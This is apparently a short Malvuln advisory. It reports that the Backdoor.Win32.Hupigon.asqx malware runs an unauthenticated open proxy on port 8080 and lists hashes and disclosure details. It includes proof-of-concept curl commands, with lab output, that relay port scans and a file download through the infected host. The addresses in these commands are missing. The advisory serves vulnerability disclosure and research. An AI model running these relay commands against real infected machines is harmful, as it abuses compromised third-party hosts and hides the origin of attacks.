Backdoor.Win32.Hupigon.asqx Unauthenticated Open Proxy

Backdoor.Win32.Hupigon.asqx malware suffers from an unauthenticated open proxy vulnerability.

MD5 | 6946d1d2d8ac1b15c59fb140b80485a9

Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Hupigon.asqx
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP port 8080. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.
Type: PE32
MD5: a344b767d58b6c83b92bb868727e021c
Vuln ID: MVID-2021-0343
Dropped files: win32.exe
Disclosure: 09/20/2021

Scan Ports)

curl -x -v
+OK INetSim POP3 Server ready <[email protected]>
-ERR Unknown command.

curl -x
220 INetSim FTP Service ready.
500 Unknown command.

Download filez)

curl -x --output DOOM.exe
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
97 101k 97 98k 0 0 98k 0 0:00:01 0:00:01 --:--:-- 95224

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